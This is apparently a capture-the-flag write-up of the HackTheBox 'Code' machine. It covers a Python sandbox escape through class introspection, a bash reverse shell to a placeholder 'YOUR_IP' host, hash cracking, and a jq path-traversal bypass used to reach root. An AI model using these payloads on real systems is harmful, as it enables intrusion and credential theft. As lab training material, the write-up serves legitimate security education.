🐍 Escaping a Python Sandbox on HTB: Code

Author: 0xtor4sec | Date: May 1, 2025 | Read time: 3 min

HackTheBox’s Code machine is a brilliant showcase of the risks tied to poorly isolated code execution environments. In this write-up, we’ll walk through the complete compromise of the box β€” from initial recon to root β€” using Python introspection, sandbox escape techniques, and a clever path traversal bypass with jq.

πŸ”Ž 1. Reconnaissance

We start with a simple Nmap scan:

nmap -sV -A code.htb

Relevant open ports:

22/tcp β€” SSH (OpenSSH 8.2)
5000/tcp β€” HTTP (Gunicorn running a Flask app)

Navigating to http://code.htb:5000, we find a basic Python code editor allowing users to run snippets in a restricted sandbox environment.

πŸ§ͺ 2. First Attempts & Understanding the Filter

Our first instinct was to try:

import os
os.system("id")

But we were met with:

Use of restricted keywords is not allowed.

Other functions like open(), eval(), or exec() were also blocked β€” clearly a blacklist-based filter.

πŸ•΅οΈ 3. Learning from Known Bypass Techniques

Referring to HackTricks β€” Bypass Python Sandboxes, we discovered a useful trick: reconstructing filtered keywords via string concatenation.

Example:

'sy' + 'stem'

This would evade static filtering, but still requires access to built-in functions like eval()… which is also blacklisted.

πŸ” 4. Bypassing Filters via Python Introspection

To access eval() indirectly, we used Python introspection to navigate class hierarchies and extract the __builtins__ object:

for i in range(200):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except:
        continue

Once we locate it (e.g., index 80), we execute arbitrary code:

x = ''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']
x['ev'+'al']('__import__("os").system("bash -c \\"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\\"")')

πŸŽ‰ We now have a reverse shell as user app-production.

πŸ“‚ 5. Exploring Files: app.py & Database Dump

Inside /home/app-production/app/, we find app.py β€” source of the Flask application. The /run_code endpoint uses exec() after filtering input, confirming our earlier findings.

We also find a SQLite database at instance/database.db. To retrieve it:

# On target
python3 -m http.server 8080

# On attacker
wget http://TARGET_IP:8080/instance/database.db

Inside the DB, we recover an MD5 hash for user martin. We crack it using hashcat:

hashcat -m 0 -a 0 martin_hash.txt /usr/share/wordlists/rockyou.txt

With the recovered password, we SSH in as martin.

πŸ”“ 6. Privilege Escalation via Sudo & jq

Checking sudo -l reveals:

(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

The script reads a JSON file, filters it with jq to sanitize ../, then feeds it to /usr/bin/backy:

jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'

It attempts to prevent path traversal β€” but poorly.

πŸ” 7. Path Traversal Bypass with ....//

We discovered that using ....// bypasses the filter. After applying gsub("\\.\\./"; ""), it becomes ../ again.

Example JSON payload:

{
  "directories_to_archive": ["/home/....//root"],
  "destination": "/home/martin"
}

We save it as bypass.json and run:

sudo /usr/bin/backy.sh bypass.json

It generates a .tar archive in our folder containing /root. We extract the root flag.

🧠 Final Thoughts

This box was a fantastic exercise in:

It highlights a critical message:

Never rely solely on blacklists or simplistic regex for security.

Small missteps in sandboxing and file path validation can unravel into full system compromise.

β€œDon't listen to the person who has all the answers. Listen to the person who has the questions.”